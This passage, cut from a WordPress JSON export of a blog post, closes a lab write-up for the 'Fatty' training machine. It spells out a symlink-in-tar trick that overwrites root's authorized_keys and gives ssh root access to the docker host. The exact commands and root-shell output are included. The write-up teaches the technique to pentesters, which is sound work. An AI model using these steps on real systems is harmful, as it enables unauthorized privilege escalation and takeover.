-->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>It should be clear that the above described situation could apply for us. On our docker container the user&nbsp;<em>qtc&nbsp;<\/em>creates a&nbsp;<em>.tar<\/em>&nbsp;archive regularly inside&nbsp;<code>\/opt\/fatty\/tar<\/code>, which is pulled by some other user using&nbsp;<em>scp<\/em>. It is likely that the log pulling user will extract the contents of the&nbsp;<em>.tar<\/em>&nbsp;archive at some point of time and if we are lucky, he will do it in the same directory where the new incoming&nbsp;<em>.tar<\/em>&nbsp;file will be stored. In this case, we could use the above mentioned technique to write arbitrary files.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since we already got the user flag, we assume that this attack vector will give us direct root access to the&nbsp;<em>fatty&nbsp;<\/em>application server. Therefore, we go&nbsp;<em>all in<\/em>&nbsp;and try directly to overwrite the&nbsp;<em>authorized_keys<\/em>&nbsp;file of the root user account. Our attack plan will look like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Create a&nbsp;<em>logs.tar<\/em>&nbsp;file that contains a symlink with name&nbsp;<em>logs.tar<\/em>&nbsp;pointing to&nbsp;<code>\/root\/.ssh\/authorized_keys<\/code>.<\/li><li>After waiting one minute, overwrite&nbsp;<em>logs.tar<\/em>&nbsp;with a&nbsp;<em>public key<\/em>&nbsp;that was generated by us.<\/li><li>After another minute, we should be able to login as the&nbsp;<em>root&nbsp;<\/em>user using&nbsp;<em>ssh<\/em>.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Here are the corresponding commands:164d6a53be73:\/home\/qtc$ mkdir exploit164d6a53be73:\/home\/qtc$ ln -s \/root\/.ssh\/authorized_keys exploit\/logs.tar164d6a53be73:\/home\/qtc$ tar -cvf logs.tar -C .\/exploit logs.tarlogs.tar164d6a53be73:\/home\/qtc$ tar -tvf logs.tarlrwxrwxrwx qtc\/qtc 0 2019-10-04 09:59:28 logs.tar -&gt; \/root\/.ssh\/authorized_keys164d6a53be73:\/home\/qtc$ cp logs.tar \/opt\/fatty\/tar\/logs.tar164d6a53be73:\/home\/qtc$ sleep 60164d6a53be73:\/home\/qtc$ ssh-keygen -f key<strong>Generating<\/strong> public\/private rsa key pair.<strong>Enter<\/strong> passphrase (empty for no passphrase):<strong>Enter<\/strong> same passphrase again:<strong>Your<\/strong> identification has been saved in key.<strong>Your<\/strong> public key has been saved in key.pub.<strong>The<\/strong> key fingerprint is:SHA256:ZFaBEexkmBlaZh2MqvliJO1TRxjR+ggWI77hel1+L\/Q qtc@164d6a53be73<strong>The<\/strong> key's randomart image is:+---[RSA 2048]----+| .o=X+=o. ||. o .=* B. ||.. o.= ++ || oo + .+. ||.oo+ + S ||.o= o + . ||.+ + + . . ||. * o . o E || o o . o. |+----[SHA256]-----+164d6a53be73:\/home\/qtc$ cp key.pub \/opt\/fatty\/tar\/logs.tar164d6a53be73:\/home\/qtc$ sleep 60164d6a53be73:\/home\/qtc$ ssh -o StrictHostKeyChecking=no root@172.28.0.1 -i key<strong>Linux<\/strong> fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64<strong>The<\/strong> programs included with the Debian GNU\/Linux system are free software;the exact distribution terms for each program are described in theindividual files in \/usr\/share\/doc\/*\/copyright.<strong>Debian<\/strong> GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.mesg: ttyname failed: Inappropriate ioctl for deviceiduid=0(root) gid=0(root) groups=0(root)cat root.txtee98[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Worked perfectly! If you are confused about the IP address&nbsp;<em>172.28.0.1<\/em>, this is just the IP address of the docker bridge our container is plugged in. The docker bridge is just a bridge device that is located in the network namespace of the docker host and the IP address of the bridge gives you access to the docker host itself. To identify the IP address of the bridge device, you can just use a command&nbsp;<code>ip a<\/code>&nbsp;on the container:164d6a53be73:\/home\/qtc$ ip a1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN qlen 1 link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1\/8 scope host lo valid_lft forever preferred_lft forever10: eth0@if11: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu 1500 qdisc noqueue state UP link\/ether 02:42:ac:1c:00:04 brd ff:ff:ff:ff:ff:ff inet 172.28.0.4\/16 brd 172.28.255.255 scope global eth0 valid_lft forever preferred_lft forever<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the most (all?) cases, the docker bridge will have the same IP address as the container, except that it ends with a one.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Furthermore, we had to use the&nbsp;<em>ssh&nbsp;<\/em>option&nbsp;<code>StrictHostKeyChecking=no<\/code>. To be honest, I\u2019m not sure why this is the case, but otherwise&nbsp;<em>ssh&nbsp;<\/em>was throwing an error. Probably&nbsp;<em>ssh&nbsp;<\/em>tries to write the hostkey to the&nbsp;<em>known_hosts&nbsp;<\/em>file of the root user and is missing permissions for that, but I had not investigated this issue any further.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"conclusions\">5.0 \u2013 Conclusions<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<em>Fatty&nbsp;<\/em>machine demonstrates the devastating consequences of vulnerabilities inside of&nbsp;<em>fat client<\/em>&nbsp;software. From my personal experience it is alarming how often&nbsp;<em>fat client<\/em>&nbsp;software can be exploited to execute arbitrary commands on the corresponding application server. With&nbsp;<em>Fatty<\/em>, I want to increase the awareness on&nbsp;<em>fat client<\/em>&nbsp;vulnerabilities and enable other pentesters to find them more easily.<\/p>\n<!-- \/wp:paragraph -->","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"categories":[76],"tags":[],"class_list":["post-16531","post","type-post","status-publish","format-standard","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/16531","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16531"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/posts\/16531\/revisions"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16531"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/categories?post=16531"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/tags?post=16531"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}